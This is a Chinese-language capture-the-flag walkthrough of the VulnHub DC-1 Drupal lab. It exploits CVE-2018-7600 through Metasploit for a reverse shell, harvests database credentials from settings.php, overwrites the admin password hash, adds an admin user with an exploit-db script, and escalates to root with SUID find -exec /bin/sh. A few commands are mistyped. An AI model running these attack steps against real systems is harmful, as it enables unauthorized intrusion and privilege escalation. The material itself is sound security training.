内网靶场之Drupal(Vulhub-DC-1靶场)详细攻击过程
Drupal:
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。
注入原理:
Drupal Sql注入漏洞原理是酱紫的,Drupal在处理IN语句的时候,要通过expandArguments函数来展开数组。由于expandArguments函数没有对当前数组中key值进行有效的过滤,给攻击者可乘之机。攻击者通过精心构造的SQL语句可以执行任意PHP代码。
详细原理:https://www.freebuf.com/vuls/47690.html
漏洞环境:
靶场地址:https://www.vulnhub.com/entry/dc-1-1,292/
下载地址:https://download.vulnhub.com/dc/DC-1.zip
任务描述:包含5个Flag,初级难度,最终目标是在root主目录中找到并读取该标志
攻击机 kali :192.168.0.199
靶机:192.168.0.183
(访问靶场80端口是cms框架的登录页面)
漏洞利用:
Drupal 开源内容管理框架注入漏洞,反弹shell:
首先弱口令登录,扫端口、扫后台都没什么较大的收获。于是将目标盯在了Drupal这个cms框架上面了,发现这个cms有一个注入getshell的漏洞(CVE-2018-7600),并且metasploit中已有攻击模块,可以直接利用。
-
打开msf,查找drupal武器库
msfconsole search drupal
这里可以根据需求选择,我选择比较新的2018年的攻击模块
-
利用攻击模块,需要设置3个参数,rhost、lhost、和TARGETURI。
set rhost 192.168.0.183 set lhost 192.168.0.199 set TARGRTURI drupal
-
run攻击即可,将反弹命令行控制台meterpreter,输入shell就可以执行命令了
初级内网渗透-flag1:
首先虽然shell已经进入,但它并不是交互的shell,所以我们要进入交互式的shell。而且他的权限是www-data权限,权限较低很多命令不能执行
-
使用python反弹一个交互式shell TTY。
python -c 'import pty;pty.spawn("/bin/bash")'
-
查看当前目录,看有无可以利用的信息文件,其他目录信息如下。发现了第一个flag1文件,查看flag1文件。
ls cat flag1.txt
Every good CMS needs a config file - and so do you. 每个好的CMS都需要一个配置文件——你也一样。
敏感信息分析获取flag2:
通过flag1的提示,告知我们cms的配置文件很重要,暗藏敏感文件。所以我们需要查看目录下的其他文件来获取信息。
-
首先我们百度搜索drupal有哪些重要的配置文件及重要文件的默认路径 ,挑选重点下手能节省时间。
-
drupal的配置文件是 /sites/default/settings.php ,是数据库连接配置文件。我们去查看这个文件看有无收获。
cd /sites/default/ ls cat settings.php
我们发现了flag2内容,以及数据库的账户和密码
* flag2 * Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials? (flag2 爆破攻击和字典攻击不是 获得访问权限的唯一方法(您将需要访问权限)。 你能用这些证书做什么?) 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '',
数据库相关信息获取
首先我们通过flag2得到了数据库为mysql数据库,并且数据库名、账号和密码都有了,肯定是要进入数据库看有无所需信息的。如系统管理员账户信息
-
登录数据库
msql -u dbuser -p username => dbuser password => R0ck3t database => drupaldb
-
数据库基本操作,查看数据库内容
show database; use drupaldb; show tables;
发现用户表为users,注意Drupal框架默认的用户表就是users表。
-
查询users表中,系统管理员admin的账户信息
select * from users; select name,pass from users;
发现admin账号和经过加密的密码,drupal常用密码加密是MD5格式,但是7.0以后因为安全性问题将加密方式改成了hash加密(由于很多在线MD5爆破和MD5数据库,可以查到很多MD5码的原文,所以Drupal 7已不再采用Drupal 6和5简单的MD5加密,而是采用一种新型的Hash加密方法。新型加密方法是“加了盐(Salt)”的MD5码,简单理解就是并不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一起后再MD5加密。)。
这里不是md5加密,应该是自定义的加密方式。flag2中给的提示暴力破解不是唯一的方法我们得想一下其他的办法。
数据库admin管理员密码修改及获取flag3
我们想办法的同时也可以百度向开发人员询问答案,查找drupal7忘记密码怎么办?drupal7如何重置密码?drupal7如何修改密码?这些问题让我们拿到admin这个管理员账户。
-
drupal7重置admin用户的密码
exit $ls $php ./scripts/password-hash.sh 123456 mysql -h localhost -u dbuser -p Enter password:R0ck3t use drupaldb; update users set pass='$S$DQZsZLqxCbnNCRuvOFCQBC2snsbkjGrH3Xw4nqxxhuYIONkuC4dP' where name='admin';
-
登录成功
更隐蔽方式,添加新管理员账户获取flag3
exploit-db(漏洞利用库):
kali中已经内置,默认路径为:/pentest/exploits/exploitdb。可以使用searchsploit命令来搜索exp进行利用。
在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,第二种方法是通过该过程新增admin密码。
-
查看Drupal版本,确定Drupal版本为7.24
cat /var/www/includes/bootstrap.inc | grep VERSION
-
使用searchsploit查找可利用漏洞。选择添加管理员功能的攻击脚本适用于7.0-7.31范围(每个脚本括号后面有功能描述,我这里遮住了),符合7.24版本。
searchsploit drupal
-
利用drupal7.0版本漏洞增加有admin权限的用户
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.208 -u hkb -p hkb 后面靶机出了点问题,靶机ip换成了192.168.0.208
新增的管理员用户如下
-
使用新添加的用户hkb登录网站,在content模块下找到flag3。
Congratulations! Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow. 恭喜你! 特殊的PERMS可以帮助找到密码-但您需要-exec该命令,以确定如何获取在shadow文件中的内容 很明显的提示:find+perms+exec 命令用来提权
根据用户信息获取flag4
根据flag3的提示提权,我们尝试查看用户列表信息(包含用户权限信息),这些用户信息一般存储在/etc/passwd目录下。
-
查看用户列表,获取信息
cat /etc/passwd
注意,/etc/passwd包含系统所有账户信息,只有超级用户才有写和访问。该文件每个用户占一行用,分隔成七个字段。如下图所示:
发现了flag4这个用户,并且得到了flag4的主目录为home目录。我们切换到home目录寻找flag4相关文件
-
切换到home目录寻找flag4相关文件,并尝试查看。
cd /home/flag4 cat flag4.txt
flag4提示内容: 提示最后flag in root下面。
其实也可以直接用find命令查找flag4这个关键字,也能爆出flag4文件的路径。主要看个人思路
find / -name "flag4
cd /home/flag4
cat flag4.txt
提权+获得最终flag
根据flag4的提示信息,最后一个flag存在于root目录下。我们可以使用find命令查找root目录下相关文件信息。
-
使用find命令查看与/root目录有关的文件信息
find /root find命令是用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件,并将查找到的子目录和文件全部进行显示。 find(选项)(参数) -exec<执行指令>:假设find指令的回传值为True,就执行该指令 -perm<权限数值>:查找符合指定的权限数值的文件或目录
发现flag文件存在于/root目录下,尝试打开它
发现没有权限,所以必须要提权才能查看最终的flag文件
-
根据flag3中的提示,使用“-exec”提权,也就是find+perms+exec 命令来提权。这里有两种方法可以用,看个人想法。详细关于find提权会在另一篇文章中详解
1. find ./ acce -exec '/bin/sh' ; 2. touch bcce find bcce -exec '/bin/sh' ;
-
再次尝试打开/root目录下的flag文件
cd /root ls cat thefinalflag.txt
成功访问最后一个flag文件,游戏结束了。
总结:
本次初级内网渗透靶场虽然初级,但也涉及了大量的知识点。
- 使用python反弹一个交互式shell
- 配置文件十分重要,重要的配置文件可以搜索相关系统或者框架的默认路径,能在较短时间内获取有用信息。如: drupal的/sites/default/settings.php ,是数据库连接配置文件
- exploit-db(漏洞利用库)真的很强大,里面很多攻击脚本。不知道为什么以前很少用,现在要加强对他的了解了。他就是metspoit的兄弟
- /etc/passwd:linux默认存储用户列表的文件
- linux suid提权相关知识,在后面的文章中再详细了解。
参考文章:
https://my.oschina.net/u/4257499/blog/3230676
https://blog.csdn.net/szlg510027010/article/details/106541167/